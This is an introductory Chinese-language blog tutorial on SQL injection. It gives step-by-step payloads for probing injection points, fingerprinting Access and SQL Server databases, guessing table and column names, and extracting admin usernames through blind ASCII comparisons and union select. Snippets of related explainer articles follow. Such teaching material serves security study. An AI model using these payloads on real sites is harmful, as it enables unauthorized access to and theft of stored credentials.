sql注入基礎 原理

2022-08-30 18:57:07 字數 1684 閱讀 3402

一、注入的分類

按資料庫分類:1.整形

2.字元型(需要考慮單引號閉合的問題,還有注釋不必要的語句  #  )

eag:  id='admin'  id='admin and1=1'這樣會報錯  所以需要 id='admin' and '1'='1' 這樣來進行閉合

注意:字元型適合弱型別語言 php asp ,不支援jsp  aspx

按注入點分類:1.get

2.pots

3.cookie

4.搜尋形注入

5.http頭注入

按注入的顯示方式:1.顯錯注入

2.盲注(主要是根據返回資料的快慢判斷)

根據sql語句的不同:1.union 2.select 3.update

二、簡單的access以ascii的方式 注入

1.判斷注入點

1) and 1=1 返回正常  and 1=2 返回錯誤 存在注入點

2) or 1=1 返回錯誤    or 1=2 返回正常   存在注入點

2.判斷資料庫的型別

and (select count(*)from msysobjects )>0  返回的如果是許可權不夠的話是access

and (select count(*)from sysobjects )>0 返回正常的話是sqlserver

f12審查元素  看network看中介軟體  根據中介軟體的**組合來大概判斷

3.猜測表名

and (select count(*) from admin)>=0   返回正常則證明存在admin表 (是根據取admin所有列的數目,如果大於等於0的話證明有admin這個表,大於0的話證明admin存在資料不是空表)

3.猜測列數(字段數)

and (select count(*) from adnmin)>1 通過不斷變化數字1,2,3,4,5...來判斷列數

3.猜測列名(欄位名)

and(select couunt(username

) from admin)>=0  返回正常則證明 存在username列

4.獲取資料位數     * mid函式用於從文字欄位中提取字元 mid(欄位名,取第幾位,取幾個字元) top2  表示的是前兩行,不是第二行

and (select top 1 ascii(mid(username,1,1))from admin)>0 通過不斷改變量字1,2,3,4...  原理: 一直變換數字知道取不出字元時,ascii就不會在大於0

5.獲取資料

and (select top 1 ascii(mid(username,1,1))from admin)>20  通過1來控制位數  通過變換20來控制ascii對應的具體的值 最終得出ascii在轉化為明文

三 、access快速獲取資料

1. order by 1 通過不斷改變1來判斷字段數  假如欄位數為5

2.union select 1,2,3,4,5 from admin返回正常 則證明存在admin表  假如數字2在網頁爆出(若果沒有爆出數字 解決方法1.報錯顯示2.審查元素中找)

3.union select 1,username,3,4,5 from admin  正常則證明存在username列 並且username的資料也會在相應的2的位置爆出來

「SQL注入「 入門基礎原理

1.sql 注入 sql 注入攻擊是通過將惡意的 sql 查詢或新增語句插入到應用的輸入引數中,再在後台 sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。2.web 程式三層架構 a.介面層 user inte ce layer b.業務邏輯層 business lo...

sql注入原理

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。簡單例項 一張使用者表user,一般需要通過user id運算元據庫,例如 我們想要查詢 user id 1 的使用者資訊 通常我們可以寫sql語句 select fr...

SQL注入原理

概述 sql注入 應用程式在向後台資料庫傳遞sql structured query language 結構化查詢語言 查詢時,如果攻擊者提供了影響該查詢的能力,就會引發sql注入。sql注入不只是一種會影響web應用的漏洞,對於任何從不可信源獲取輸入的 來說,如果使用輸入來構造動態sql語句,就有...